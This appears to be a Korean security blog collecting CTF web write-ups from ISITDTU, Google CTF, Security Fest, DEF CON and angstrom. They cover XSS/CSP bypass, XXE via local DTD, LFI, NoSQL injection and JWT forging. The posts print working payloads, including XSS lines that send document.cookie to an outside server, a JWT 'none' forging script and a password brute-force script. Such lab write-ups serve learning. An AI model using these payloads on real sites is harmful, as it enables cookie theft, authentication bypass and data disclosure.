<script>Object.freeze(location);</script>input<br><script>location='http://input';</script>


input이 두 군데 지점에 들어가고 Object.freeze로 location 객체를 통한 redirect를 필터링하고 있다.


필터 당하는 문자열을 보면 `,' 이거 두가지 정도라 그냥 XSS 터트리면 될 것 같은데 Chrome XSS Auditor랑 CSP가 적용되어 있다.


최종적으로 해야할건 Chrome XSS Auditor Bypass + CSP Bypass + locaion filter Bypass 정도였다.


먼저 XSS auditor는 `가 필터링되고 있지만 인풋이 개행없이 하나의 라인 2군데 지점에 들어가서 "를 통해 우회해줬다.


";alert(1);//<script>


그다음 CSP와 같은 경우는 아래와 같이 세팅되어 있었다.


default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';sandbox allow-scripts allow-same-origin


기본적인 resource load 정책이 다 self로 되어있었고 sandbox 정책까지 적용되어 있었다. 여기다 location까지 필터당하고 있어서 위 두가지에 필터안되는 구문을 찾아야했다.


location 외에 redirection을 만드는 html 구문 몇개를 테스트 해보니 csp에 안걸리는 구문을 찾을수 있었다.


window.open <- filter (csp allow-popups) 

form action <- filter (csp allow-forms)

a tag href <- filter bypass

meta tag refresh <- filter bypass


payload =  http://165.22.52.11/XSSGAME1/?pl=";a=document.createElement("meta");a.httpEquiv="refresh";a.content="0;url=http://my_server/?"%2bdocument.cookie;document.body.appendChild(a);//<script>"


Flag = ISITDTU{0274fdcad72fb003e36bb77d9ef2279b3eb3f519}
























블로그 이미지

JeonYoungSin

메모 기록용 공간

,

최근들어서 버그헌팅에 빠져서 문제도 거의 못보고 블로그에 글 남길 일도 없었는데 주말에 Google CTF가 열렸길래 오랜만에 문제 구경을 좀 해봤다. 


해당 문제는 대회기간에 도저히 취약점 트리거할 포인트 자체가 안보여서 어떻게 취약점이 터지는건지 엄청 궁금했는데 대회종료 후 롸업에서 취약점 트리거되는 포인트가 엄청 신선하고 재미있어서 정리해봤다. 


문제를 보면 아래와 같이 엄청 간단한 기능 하나가 존재한다. 



도시 이름으로 검색을 하면 해당 도시에 대한 정보를 뿌려주는 형태인데 실제 요청되는 데이터는 아래와 같은 형태였다.



요청되는 파라미터 값을 보면 숫자로 이루어진걸 볼 수 있는데 해당 값은 아래 js 코드를 통해 생성된다.


post.js


function AjaxFormPost() {

  var datasend;

  var message = document.getElementById('message').value;

  message = message.toLowerCase();


  var blindvalues = [

    '10',    '120',   '140',    '1450',   '150',   '1240',  '12450',

    '1250',  '240',   '2450',   '130',    '1230',  '1340',  '13450',

    '1350',  '12340', '123450', '12350',  '2340',  '23450', '1360',

    '12360', '24560', '13460',  '134560', '13560',

  ];


  var blindmap = new Map();

  var i;

  var message_new = '';


  for (i = 0; i < blindvalues.length; i++) {

    blindmap[i + 97] = blindvalues[i];

  }


  for (i = 0; i < message.length; i++) {

    message_new += blindmap[(message[i].charCodeAt(0))];

  }


  datasend = JSON.stringify({

    'message': message_new,

  });

  var url = '/api/search';

  xhr = new XMLHttpRequest();

  xhr.open('POST', url, true);

  xhr.setRequestHeader('Content-type', 'application/json');


  xhr.onreadystatechange =

      function() {

    if (xhr.readyState == 4 && xhr.status == 200) {

        console.log(xhr.getResponseHeader('Content-Type'));

        if (xhr.getResponseHeader('Content-Type') == "application/json; charset=utf-8") {

            try {

                var json = JSON.parse(xhr.responseText);

                document.getElementById('database-data').value = json['ValueSearch'];

            }

            catch(e) {;

                document.getElementById('database-data').value = e.message;

            }

        }

        else {

            document.getElementById('database-data').value = xhr.responseText;

        }

    }

}

      xhr.send(datasend);

}


코드는 심플한데, 위 구조 상 숫자로 변환되기 전 원본 값에는 알파벳소문자밖에 들어갈 수가 없었다. 기능도 너무 심플하고 터질만한거라곤 injection류밖에 안떠올랐는데 알파벳 소문자만가지고 할만한게 뭔지 도저히 안떠올랐다. 변환된 숫자 자체가 인젝션 데이터로 들어가는건가 했는데 그것도 아니었다.

여기서 몇시간정도 고민하다가 접었는데 실제 취약점이 터지는 부분을 보니 너무 고정관념을 가지고 문제를 바라봤던 것 같다.

취약점과 같은 경우 요청 Content-type을 json type이 아닌 xml type으로 바꿔주고 데이터를 xml형태로 요청해주면 서버에서 해당 xml데이터를 파싱해주면서 xxe를 터트릴 수 있는 형태였다. 

첨엔 이런식으로 로직을 짜는 케이스가 있나? 하면서 문제를 위한 문제인가 싶은 생각도 들었는데 실제 해당 케이스로 링크드인에서 터진 리얼월드 케이스가 있어서 엄청 충격이었고 정말 웹은 하면할수록 깊이가 끝이 안보여서 재밌으면서도 힘든것 같다.

취약점과 같은 경우 아래와 같이 json형태의 데이터를 xml 형태로 변환해서 요청해주면 실제로 서버에서 해당 xml 데이터를 파싱해서 도시정보를 구해오는걸 볼 수 있었다.


이제 그냥 xxe로 플래그 찾으면 되겠다 싶었는데 간단한 문제가 있었다.


일단 요청값중에 응답에 뿌려지는 값이 없기때문에 Blind XXE를 해야했는데 External Entity는 먹히는데 아웃바운드가 다 막혀있어서 외부 요청이 안됬다. 


여기서 딱 예전에 문서에서 보고 테스트해봤던 Local DTD를 써서 Error Based Blind XXE 터트리는게 떠올랐다. 실제 실무에선 아직 못써보고 씨텝에서도 이런 환경의 XXE는 나온적이 없어서 써먹지 못하고있었는데 엄청 반가웠다.


https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/ 요글 참고해서 익스를 진행해보니 실제로 파일이 읽혔다.


Defalut Local DTD 파일과 같은 경우 Linux 환경일거라 /usr/share/yelp/dtd/docbookx.dtd 파일로 시도했고 실제로 파일이 존재하길래 이걸로 진행했다.






Flag = CTF{0x1033_75008_1004x0}




 










  



블로그 이미지

JeonYoungSin

메모 기록용 공간

,

해당 대회는 사정상 참여를 못해서 대회 종료 후 문제를 풀어봤다.


먼저 문제에서 제공해주는 페이지에 들어가보면 간단한 패스워드 입력창만 있고 따로 동작을 안한다. 근데 소스를 보면 주석에 아래와 같은 구문이 있다.


<!-- | Dark Web Message Board | DEVELOPED BY K1tsCr3w | Open source at Kits-AB | -->


해당 구문을 참조해 github에서 Kits-AB를 찾아보면 문제 사이트의 소스가 공개되어 있다.


app.py


import os


from model import init_database, Post

from flask import render_template, Flask, send_from_directory, request



init_database()


app = Flask(__name__, static_folder='static')


@app.route('/robots.txt')

def static_from_root():

    return send_from_directory(app.static_folder, request.path[1:])


@app.route("/")

def index():

    return render_template("login.html")



@app.route("/boards/<id>")

def board(id):

    posts = []


    if int(id) == 1:

        posts = Post.select()

    

    return render_template("board.html", posts=posts)



if __name__ == "__main__":

    if os.environ.get("FLASK_DEBUG"):

        app.run(debug=True)

    else:

        app.run()


메인 코드인데 보면, boards/1 경로에 접근하면 뭔가 데이터를 읽어서 뿌려주는걸 볼 수 있었다. 해당 페이지에 접근해보면 아래와 같이 여러 데이터들이 보이는데 그 중 암호화 된 값 하나가 보이는걸 볼 수 있었다.



해당 문제가 web+crypto+osint 였기 때문에 해당 암호문을 일단 디크립트 해야할 거라는 생각이 들었다. crypto는 공부를 거의 안해봐서 그만볼까 했는데 깃헙 소스에서 디크립트 하는 코드를 아래와 같이 제공해줘서 좀 더 풀어봤다.


test_crypto.py


from cryptography.hazmat.backends import default_backend

from cryptography.hazmat.primitives.asymmetric import rsa, padding

from cryptography.hazmat.primitives import serialization, hashes


import base64


import unittest



# Maybe this could be used to encrypt the secret messages in the board? 

# https://cryptography.io/en/latest/hazmat/primitives/asymmetric/rsa/


MESSAGE=b"Something secret"


PEM_PASSWORD=b'aVerySecretPassword'

       

PEM_PRIVATE_KEY=b"""-----BEGIN ENCRYPTED PRIVATE KEY-----

MIIFHTBXBgkqhkiG9w0BBQ0wSjApBgkqhkiG9w0BBQwwHAQIeJ8sEumQimECAggA

MAwGCCqGSIb3DQIJBQAwHQYJYIZIAWUDBAEqBBCoq4tCJ4RHgmF8/Ayi+gRMBIIE

wA/ByLKYec9EnYxdklKLK3nnilG17fYrEeXGhkRy0tHuxDDJFrvZXANyiakSnj/r

0Ly52heKxEkXYTQ8ohJR5Fezn8KXLYJVdvkJkAGURiVICPb10f1m7UwqakPSt4Hk

nwXZRXYDyiNyUoMgIdxxpaNvl0h6GotOaa/CvcACnozZxiZv3X7f9+0y7zKYA+i8

lM5qaiFjz06LdQ0+MvSxqpC0lKbEJTrTvd95TsdkwNppoQQXU4p/CiGtrRC3DmCd

YZCSLAm7mlVfpnP2wcN7rX3rPQtlb0LCiWbLw2DmKaAbgW4yiqP12+yX0cegxZPH

KuvBtqDOEODDhro/j/VBSizhZxB9xgpsd1ZVdmIUGHmsckEg0pmHcOmb+L3/UwCX

6WI5HMecRk2miNnjZt19YPAdJJ0CNURnqkRMKw5dhy1e3V2+W1K2ojICJj7gZaSh

Hclt3VbwbjAQNwPUU2kkJWCQFDAjLnEmOgZEzESuo58kt3WyurJbeC5H5irTRlaT

jP9jCOvbuE2P4JR5ErOx5wxbMhI+UEVdcuHYGXoyJKLatg+i8W82BV+RQA9d7Bmq

qKdEWtLCD0IT9eCCm//M6iZiVHuDGjxgZVfvzaU7yHMdZdVi5mKfxHeIcGyrolVu

LDsOrjZ9aHtgVycMGjpltYdhJpTlP3Z2Otby18H0bUv1ntsRBZdx2lle8A1Jre1n

10DH5Lx5rn7prJuj/IL1q/Z4lcDlkvHI6I0m/rauXyddGcUrINTTWq9ujQ8x09Gt

NbLeoMOLy39H55W/T7VO+ds1kEOObE5lYwh0Jo29LpHLlKKpKVx23IHBTjC5LEAV

4qynUw1BLK1klEClZp9AfTAfz5M9AjK50l3MEEwIW48eS3U6h137Of3QirMjiE82

iFANV3rOYdsmQAtDeWxx+N3sLv8kK8ANnr85Dj9QOXQJtAm9S7UZM9BrwIgmOuVL

9r9Pt5J8B0lAwPQ5+sxTfgPrd0FhZSZYzrelbp0ck4odSnXFK+ZL0E1VWIBXUtTd

oj5lFFs9U95vXU5szx17xB+IMd2KOKIirIEwCm3TIa58sMbhLxDJtWpqlFVztg/E

zBeD3dzvhJzitTzKvFYTrzbge+o3/dK2+yFbibE0VTAGV60ILoZq5kLVqYgihk8I

7UHLw7ugunteNLXBpB2QEvETGXhjPu82dqZFS4q+KQkIm6n6XCh1oe/CpLg08Zzh

fAWLBv1OSs/tL9cRUWhY0JxcksP6jZrhNgBzqmN4mIeQ8BfaVQbgEaD/r0c4HgS/

68dRofW02JsfaNy0qgtnsWIvAez/2gq4Sryo3NJMX0V5YogmNAWl4dsonXVE5Yss

mR/0xgLIRqKB2S32ycBjCg0BJNDJE8KSpWZHPTZxel5NQqvOUzfoc7fA2B01OhQJ

EGRgwpp+4kPEU4cZz0FUN7Yv7YRWdkVgd0BJVHVdwog1/mX3hz5SktYoU9mzuuEV

COm52E8EDJmH+eDDmOcFoXDx9rV8vcnf8AMDE1eGRxuF6YjrdsOEhaCBaQXdB+0f

S2eccZTxfvwVCsVUsy2WrWJ6+C1qG7g3vsFiKy72eWjZ1BE5k1KZ/AMxQRi4wraL

jmt95WyzLVitJ54jC6KqXZQ=

-----END ENCRYPTED PRIVATE KEY-----"""


ENCRYPTED_MESSAGE=('KA6I/Hu3sUWtPIvqmWEUHctAtDwWm7ZSg1GhTOwZMOgZhxi+WobWX+Q+J4Mym9zW9CwKZnILBi9tP'

        '+fXkionJC3U4A7APl6MPjtbkSPTqB6BXPug57dOVH2bKoyGCOkb1Y7GGs/wIVCebDyRH8katXP99q80y8Mr7wzw'

        '+xL7dNcn01Ho6xYZQlbakqJOl2UCorFGReOryGgNfhYxnHWmSDkQDtFBsB/RnexqftYLVrnPiStwALsoO8eYLsI'

        '1wnI1kmr5acbAFcW1G/0x4EZ/iouVu0EYisgQ8GXcwoed3wgQhUdrFAmI6DcbElza6QveNXCSsIIwjLWpzI2NrwPjYg==')


DEFAULT_PADDING=padding.OAEP(

    mgf=padding.MGF1(algorithm=hashes.SHA256()),

    algorithm=hashes.SHA256(),

    label=None

)



class TestEncryption(unittest.TestCase):

    

    def test_encryption_decryption(self):

        private_key = rsa.generate_private_key(

            public_exponent=65537,

            key_size=2048,

            backend=default_backend()

        )

        ciphertext = private_key.public_key().encrypt(

            MESSAGE,

            DEFAULT_PADDING

        )

        plaintext = private_key.decrypt(

            ciphertext,

            DEFAULT_PADDING

        )

        self.assertEqual(plaintext, MESSAGE)


    def test_generate_private_key(self):

        private_key = rsa.generate_private_key(

            public_exponent=65537,

            key_size=2048,

            backend=default_backend()

        )


        private_pem = private_key.private_bytes(

            encoding=serialization.Encoding.PEM,

            format=serialization.PrivateFormat.PKCS8,

            encryption_algorithm=serialization.BestAvailableEncryption(PEM_PASSWORD)

        )

        # print(private_pem.decode())

    

    def test_encryption(self):

        private_key=serialization.load_pem_private_key(

            PEM_PRIVATE_KEY,

            password=PEM_PASSWORD,

            backend=default_backend()

        )

        ciphertext = private_key.public_key().encrypt(MESSAGE, DEFAULT_PADDING)

        encoded_cipher = base64.b64encode(ciphertext)

        # print(encoded_cipher)

        # print(encoded_cipher.decode())

    

    def test_decryption(self):

        private_key = serialization.load_pem_private_key(

            PEM_PRIVATE_KEY,

            password=PEM_PASSWORD,

            backend=default_backend()

        )

        plaintext = private_key.decrypt(

            base64.b64decode(ENCRYPTED_MESSAGE.encode("utf-8")),

            DEFAULT_PADDING

        )

        #print(plaintext)

        self.assertEqual(MESSAGE, plaintext)


if __name__ == '__main__':

    unittest.main()


코드에서 private key랑 password가 하드코딩으로 박혀있길래 암호화 값만 바꿔서 돌려봤는데 패스워드가 틀렸는지 정상적으로 복호화가 안됬다.


해볼만한게 딱히 안떠올라서 그냥 dictionary attack으로 사전파일 받아다 브루트 포스 돌렸는데도 복호화가 안됬다.


여기서 뭐지하다 깃헙 소스를 좀더 보다보니 commits이 3번 있었던게 눈에 들어왔다.


3번의 커밋 중 removed the production key, luckily it was encrypted with a password … 라는 커밋이 눈에 들어왔고 확인해보니 private key가 변경되었던 걸 확인할 수 있었다.


변경 전 private key를 통해 아래 코드로 브포를 돌리니까 암호화된 값이 복호화가 되었다.


decrypt.py

 

from cryptography.hazmat.backends import default_backend

from cryptography.hazmat.primitives.asymmetric import rsa, padding

from cryptography.hazmat.primitives import serialization, hashes


import base64


import unittest


PEM_PRIVATE_KEY = b"""-----BEGIN ENCRYPTED PRIVATE KEY-----

MIIFLTBXBgkqhkiG9w0BBQ0wSjApBgkqhkiG9w0BBQwwHAQIF+TK17Q9CAsCAggA

MAwGCCqGSIb3DQIJBQAwHQYJYIZIAWUDBAEqBBCebicNIgfA441g2E3t3z/oBIIE

0OAMyvjZ8MaFDLJzuzDY3RWHP0IHWiHoCBNxPJWySon/tLXoizSbsj8EKtgA0MpE

vORC4QdnKg7bqplAAXfSIRli9Hb7RcuMpKv5buW3/Oh/th8NWWM9LOQOBAO0svlR

pJhA5hZSKEgEJMd1E77mjv29gHMEzRgXvAsTOZXhgbbtPnIkQGPXZq4hXyhy0VBt

9cCevKYLgVFahIARjejN+KErNiSN0f76mc62wunum+J6uGtk/HYZ00ZsFcf/0x7B

O/8hrFsliAg+2izNLVWy/+b1oCkuaMIEZ0zXjse3iZirSmWs6F5tFGh2w5lnJB1G

hJAqTjhHdvPWpwiyTw4nCG7+FDd3v1Ih+v8Qq9evlkYg1rdwh13ymGcfko3y7p2l

SuQsJ94i5NEv4acgIE70fqXrwzbSlc+QB5RtKexMj0NxWCySe9seLQP9fbCxp6Ci

a8mHS/4hF7hBbH984QJxy7aqt+U/xLQrKkkp2Lf0KYfthmiS13e7ZEtNSzd3dxZv

eVnDNSzEh/ty/+yt5bx58AlmhNigkaPX+KrTYt1KgQBrgYyk/YNEWK8GE0Sq/4KL

uEiIa0mpbn9je7szIA9egwjIqLWasBoG1HOb5dOu/azhVoM8mheEik/FQLHhgZlo

ZoFY8Rb3jO3Mv/sod1tQE6IteAkBsfXGT8QNaJHMAjmf96aNA8y0bStpHm1ZzpzW

qX3xcr6bDAt4olonDZ1DNTZh4AnSCnKM8LM6kwwY0r8q13EHJ2Ek6L0Vh+BiIeNw

7Q/jQ1thXzrYv9e5KU5TmvZAvtXoqcUCmI2ehnOq6xmir07g4tPQIHyolbY8EHw1

r/mb3me1+8lPdvjKSCM/LqI04h3GPkfnXWwPwlBL4sd5mnKRunLHcnLDu2AVRE+R

r8DvGGIMNr+LZjxZIdjhMraR6VSSTXX028Lamz40ZY9gn3vQWeIJAi0S7g/TW+TJ

RwXGW5gmLfbzlkzgvXPRPfjk9EeBtcS4Pj7q2QIrrAdZZFCC4z5uRGmMHC/tv2/p

IYpV2kClKcnNuPvQSreJXB18GJo1VJU/o78/Hi/cr1atiERM38gP1FYk08vcwjwT

Av62VWaTXsuAsOzS/fjmSsyAlv0LN8pNJ6j3uvk+bOrbKS4V7aM0oHDhLtlJThN5

dagcklxP1VgRAXQPdGUz1oEZzoKezPxq2mJCj8QAPZFkat5mRzbUum0aAr3Yn7Vq

KLGrILx8p4sToqfiKMnayU/QCpgifgJbMun9pSvdOC40b8xUIeuN0PlIkLueA4Mu

o4pbU2inYbC+vEB3c1fHaki+Z0+jUuHyIWtEBJOD6VNYx1LU3HY6T7eV8t/8oJxi

LZCxhon+/R9kEgJO0ofp0362pFm5i1V1afzjFMAhFK4khFNdZJ6rJLrymg1ueCsx

sxSv8x8EA/ZykDJs4M/E5eSiZI9ZmrCsIrUXZ7QGjguqHXnHi7wsO3RSa2c8Bl+t

+SYlmqK5U55yHZ23rJIS/XNIaMB+mX0CHnx/+rohABcueD7Hz7Q0OHP34NuPwK3x

NAx6x4Yfrw2SiYd0Nj15N8oexI+u6/tahCL2obap9S1Y7zibfNgJs4d2yi3F3A+w

Fe+whD+k+txSfs6w50MFgI4JG2Hu6dLtdQC5FSyOAYDJ

-----END ENCRYPTED PRIVATE KEY-----"""


ENCRYPTED_MESSAGE = ('rW+fOddzrtdP7ufLj9KTQa9W8T9JhEj7a2AITFA4a2UbeEAtV/ocxB/t4ikLCMsThUXXWz+UFnyXzgLgD9RM+2toOvWRiJPBM2ASjobT+bLLi31F2M3jPfqYK1L9NCSMcmpVGs+OZZhzJmTbfHLdUcDzDwdZcjKcGbwEGlL6Z7+CbHD7RvoJk7Ft3wvFZ7PWIUHPneVAsAglOalJQCyWKtkksy9oUdDfCL9yvLDV4H4HoXGfQwUbLJL4Qx4hXHh3fHDoplTqYdkhi/5E4l6HO0Qh/jmkNLuwUyhcZVnFMet1vK07ePAuu7kkMe6iZ8FNtmluFlLnrlQXrE74Z2vHbQ==')


DEFAULT_PADDING = padding.OAEP(

    mgf=padding.MGF1(algorithm=hashes.SHA256()),

    algorithm=hashes.SHA256(),

    label=None

)


def test_decryption(password):

    try:

        private_key = serialization.load_pem_private_key(

            PEM_PRIVATE_KEY,

            password=password,

            backend=default_backend()

        )

        plaintext = private_key.decrypt(

            base64.b64decode(ENCRYPTED_MESSAGE.encode("utf-8")),

            DEFAULT_PADDING

        )

        print("Find Password = " + password)

        print("Find Decrypt Text = " + plaintext)

        exit()

    except:

        tmp = 0


f = open("C:\Users\Administrator\Desktop/rockyou.txt","r")

i = 0

password = f.read()

pass_list = password.split("\n")

print len(pass_list)

for i in xrange(len(pass_list)):

    test_decryption(pass_list[i])


Result
Find Password = falloutboy
Find Decrypt Text = Bank url: http://bankofsweden-01.pwn.beer


복호화된 url에 접근해보니 안되서 문제설명을 다시보니 url을 찾은다음 5000 포트로 접근하라는 문장이 있었다. 

 http://bankofsweden-01.pwn.beer:5000 경로로 들어가보니 아래와 같이 사이트가 하나 나왔다. 




기능 중에 로그인 및 회원가입 기능이 있었는데 그냥 회원가입 후 로그인해보면 계정 활성화가 안되었다고 나왔다. 그래서 계정명으로 사용한 이메일로 활성화 메일이 오나 했는데 아무것도 오는게 없었다. 여기서 취약점을 터트려야하나 싶어서 보니 회원가입 할 때 is_active란 파라미터가 있었다. 해당 파라미터를 true로 세팅하고 회원가입해주면 로그인이 되었다.


로그인 후 사이트를 쭉 보다보면 export하는 기능을 사용할 때 아래와 같이 lfi가 터지는걸 볼 수 있었다.



대충 lfi로 아래 순서로 파일을 쭉쭉 leak하다보면 아래와 같이 app.py 파일에 플래그가 존재하는 걸 볼 수 있었다.


/proc/self/environ

/proc/self/cmdline

/home/bos/ctf/app.py










'CTF > Writeup' 카테고리의 다른 글

ISITDTU CTF 2019 Web Write up  (0) 2019.07.01
Google CTF 2019 Quals bnv  (0) 2019.06.24
DEF CON CTF Qualifier 2019 cant_even_unplug_it  (0) 2019.05.13
angstrom ctf 2019 Web Write up  (0) 2019.04.25
ASIS CTF 2019 Fort Knox  (0) 2019.04.22
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

대회때 솔버가 몇백명이었던 엄청 쉬운 웹 문제였는데 풀지를 못했다..ㅠㅠ 


문제를 보면 아래와 같이 설명을 해주는 구문이 있었고 따로 문제 링크나 이런건 없었다.


You know, we had this up and everything. Prepped nice HTML5, started deploying on a military-grade-secrets.dev subdomain, got the certificate, the whole shebang. Boss-man got moody and wanted another name, we set up the new names and all. Finally he got scared and unplugged the server. Can you believe it? Like that can keep it secret...


이걸보고 나는 military-grade-secrets.dev subdomain을 군사기밀급으로 개발한 subdomain 이라는 말도안되는 형태로 이해를 했다.. dev라는  최상위 도메인이 있다는걸 모르고 설마 저게 도메인일까라는 상상을 매우 잠시했다가 바로 머리속에서 지워버렸었다. 


그리고나서 그럼 무슨 도메인의 subdomain을 찾아야되지 하다가 뭔가 제시한 도메인이 없길래 그냥 데프콘 서버의 도메인을 기준으로 *.oooverflow.io , *.scoreboard.oooverflow.io , *.www.oooverflow.io 이런걸 찾고있었다. 근데 bruteforcing 모드까지 써가면서 찾았는데 도저히 뭐가 안나왔다. 


여기서 멘탈나가고 도저히 감이안와서 결국 포기했었다.


대회 종료 후 롸업을 보니 찾을 military-grade-secrets.dev 도메인의 subdomain을 찾으면 되는거였다. 요즘 문제풀 때 자꾸 여러가지 가정을 안세우고 고정된 관념으로 문제에 접근하는 안좋은 버릇이 생겼는데 빨리 고쳐야겠다고 느꼈고 많이 반성했다.


문제를 보면 해당 도메인의 subdoamin을 sublist3r로 찾아보면 아래와 같이 딱봐도 수상한 놈이하나 보인다.



검색결과 나온 secret-storage.military-grade-secrets.dev로 들어가보면 https://forget-me-not.even-more-militarygrade.pw/ 여기로 리다이렉트가 된다. 

근데 해당 사이트는 실제로 존재하지 않는다, 문제 설명처럼 존재했다가 제거된 형태이기 때문에 아카이브된 형태로 존재할 가능성이 높아 Wayback Machine에서 해당 사이트를 찾아보니 과거에 존재했던 페이지에 접근이 가능했고 아래와 같이 플래그가 있었다.


 

'CTF > Writeup' 카테고리의 다른 글

Google CTF 2019 Quals bnv  (0) 2019.06.24
Security Fest 2019 CTF Darkwebmessageboard  (0) 2019.05.24
angstrom ctf 2019 Web Write up  (0) 2019.04.25
ASIS CTF 2019 Fort Knox  (0) 2019.04.22
Byte Bandits CTF 2019 Web Writeup  (0) 2019.04.14
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Control You


소스보기하면 플래그가 있다.



No Sequels


로그인 창 하나가 나오는데 nosql injection이 터진다. 근데 요청 폼을 보면 username=1&password=1 이런식으로 넘어가는데 이걸 json형태로 변경하고 요청 헤더 값에 Content-Type을 application/json로 변경해서 json 요청폼으로 넘겨주면 된다.


payload

{"username":{"$ne":"1"},"password":{"$ne":"1"}}



No Sequels 2


이전 문제랑 같은 Nosql 문젠데 블라인드로 admin password를 뽑아야 된다. 그냥 regex써서 대충 아래같은 형태로 뽑아주면 된다.


payload

{"username":"admin","password":{"$regex":"^c"}}



DOM Validator


XSS 문젠데 특이하게 스크립트가 박히는 페이지에 아래 js코드로 돔 내 요소들에 있는 속성들의 값을 가지고 checksum값을 만든다. 이 값이 3b16c602b53a3e4fc22f0d25cddb0fc4d1478e0233c83172c36d0a6cf46c171ed5811fbffc3cb9c3705b7258179ef11362760d105fb483937607dd46a6abcffc 이 값이랑 같지 않으면 해당 페이지 내 모든 요소들을 제거해버린다.


function checksum (element) {

var string = ''

string += (element.attributes ? element.attributes.length : 0) + '|'

for (var i = 0; i < (element.attributes ? element.attributes.length : 0); i++) {

string += element.attributes[i].name + ':' + element.attributes[i].value + '|'

}

string += (element.childNodes ? element.childNodes.length : 0) + '|'

for (var i = 0; i < (element.childNodes ? element.childNodes.length : 0); i++) {

string += checksum(element.childNodes[i]) + '|'

}

return CryptoJS.SHA512(string).toString(CryptoJS.enc.Hex)

}

var request = new XMLHttpRequest()

request.open('GET', location.href, false)

request.send(null)

if (checksum((new DOMParser()).parseFromString(request.responseText, 'text/html')) !== document.doctype.systemId) {

document.documentElement.remove()

}


일단 저 checksum값이랑 동일한 페이지를 만들어내는건 불가능해보였다. 근데 잘 보면 checksum 코드를 타기전에 이미 내가 삽입한 XSS 코드가 실행이 되는 구조였다. 그래서 뭐지이게하고 로컬에서 테스트해보니 그냥 아무코드나 다 박아도 잘 실행이 됬다. 그래서 원격에다가 넣어보니까 이상하게 img tag만 실행이 됬다. 딱히 CSP나 이런것도 없었는데 뭔가 이상했다.


첨엔 img태그를 제외하고 나머지 <frame>,<script> 등은 위의 checksum 코드보다 html이 해석을 늦게해서 해당 태그들은 실행되기전에 체크섬로직에 걸려서 삭제되고 그래서 실행이 안되나 싶었는데 로컬에서해보니 그런것도 아니었다. 그냥 이것저것 넣다가 먹히는 구문이 있어서 풀긴했는데 왜 이놈만 되는지 잘 모르겠다.


payload

<img src=1 onerror="http://myip/"+document.cookie"/>



Cookie Cutter


해당 대회에서 가장 재밌게 푼 문제다. 문제를 보면 일단 소스를 제공해 준다.


source.js


const cookieParser = require('cookie-parser');

const express = require('express');

const crypto = require('crypto');

const jwt = require('jsonwebtoken');


const flag = "[redacted]";


let secrets = [];


const app = express()

app.use('/style.css', express.static('style.css'));

app.use('/favicon.ico', express.static('favicon.ico'));

app.use('/rick.png', express.static('rick.png'));

app.use(cookieParser())


app.use('/admin',(req, res, next)=>{

res.locals.rolled = true;

next();

})


app.use((req, res, next) => {

let cookie = req.cookies?req.cookies.session:"";

res.locals.flag = false;

try {

let sid = JSON.parse(Buffer.from(cookie.split(".")[1], 'base64').toString()).secretid;

if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"}

let decoded = jwt.verify(cookie, secrets[sid]);

if(decoded.perms=="admin"){

res.locals.flag = true;

}

if(decoded.rolled=="yes"){

res.locals.rolled = true;

}

if(res.locals.rolled) {

req.cookies.session = ""; // generate new cookie

}

} catch (err) {

req.cookies.session = "";

}

if(!req.cookies.session){

let secret = crypto.randomBytes(32)

cookie = jwt.sign({perms:"user",secretid:secrets.length,rolled:res.locals.rolled?"yes":"no"}, secret, {algorithm: "HS256"});

secrets.push(secret);

res.cookie('session',cookie,{maxAge:1000*60*10, httpOnly: true})

req.cookies.session=cookie

res.locals.flag = false;

}

next()

})


app.get('/admin', (req, res) => {

res.send("<!DOCTYPE html><head></head><body><script>setTimeout(function(){location.href='//goo.gl/zPOD'},10)</script></body>");

})


app.get('/', (req, res) => {

res.send("<!DOCTYPE html><head><link href='style.css' rel='stylesheet' type='text/css'></head><body><h1>hello kind user!</h1><p>your flag is <span style='color:red'>"+(res.locals.flag?flag:"error: insufficient permissions! talk to the <a href='/admin'"+(res.locals.rolled?" class='rolled'":"")+">admin</a> if you want access to the flag")+"</span>.</p><footer><small>This site was made extra secure with signed cookies, with a different randomized secret for every cookie!</small></footer></body>")

})


app.listen(3000)


코드를 보면 res.locals.flag 값을 true로 만들어주면 된다. 그럼 이제 이게 어떻게 true가 될 수 있는지 보면 되는데 jwt값의 페이로드 내에 perms 키의 value가 admin이면 된다. 


그럼이제 할거는 간단하다. jwt의 payload부분의 user값을 admin으로 바꿔주면 된다.


근데 잘보면 키 값은 랜덤한 32byte값이라 크랙이 불가능하고, 알고리즘이 HS256이어서 RSA256->HS256 요런 패턴도 해당이 안된다. 그럼 남은게 알고리즘 none으로 해서 bypass하는건데 jwt를 디코딩할 때 키 값을 가져와서 검증하는 구조라 이것도 불가능해 보였다. 

근데 잘 보면 디코딩 시 쓰는 key값을 jwt payload부분의 값을 가지고 리스트에서 가져오기 때문에 내가 컨트롤이 가능하고 이걸로 key값에 null값을 박아넣을 수 있다.

첨엔 그냥 리스트범위를 넘어가는 int형 값을 넣어서 undefined를 리턴시키려고 했는데 if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"} 요런 구문으로 필터를 하고 있었다. 그래서 로컬에다 리스트 만들어놓고 테스트 해보니 list['youngsin'] 이런식으로 index에 문자열을 넣어보니 undefined를 리턴해줬다.


이제 필요한건 다 구했고 아래 코드로 변조한 jwt 값을 구해서 넘겨주면 된다.


payload.py


jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwZXJtcyI6InVzZXIiLCJzZWNyZXRpZCI6NDgzMywicm9sbGVkIjoieWVzIiwiaWF0IjoxNTU2MTY1NDQ0fQ.48SNu1UAgwyBWAq-TMfeOMebAwYScUUx575JYkXM3Gk"

header, payload, signature  = jwt.split('.')


# Replacing the ALGO and the payload username

header  = header.decode('base64').replace('HS256',"none")

payload = (payload+"==").decode('base64').replace('user','admin').replace('4833','"youngsin"').replace("yes","no")


header  = header.encode('base64').strip().replace("=","")

payload = payload.encode('base64').strip().replace("=","")


# 'The algorithm 'none' is not supported'

print( header+"."+payload+".")


 















'CTF > Writeup' 카테고리의 다른 글

Security Fest 2019 CTF Darkwebmessageboard  (0) 2019.05.24
DEF CON CTF Qualifier 2019 cant_even_unplug_it  (0) 2019.05.13
ASIS CTF 2019 Fort Knox  (0) 2019.04.22
Byte Bandits CTF 2019 Web Writeup  (0) 2019.04.14
Midnight Sun CTF 2019 Quals Rubenscube  (0) 2019.04.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

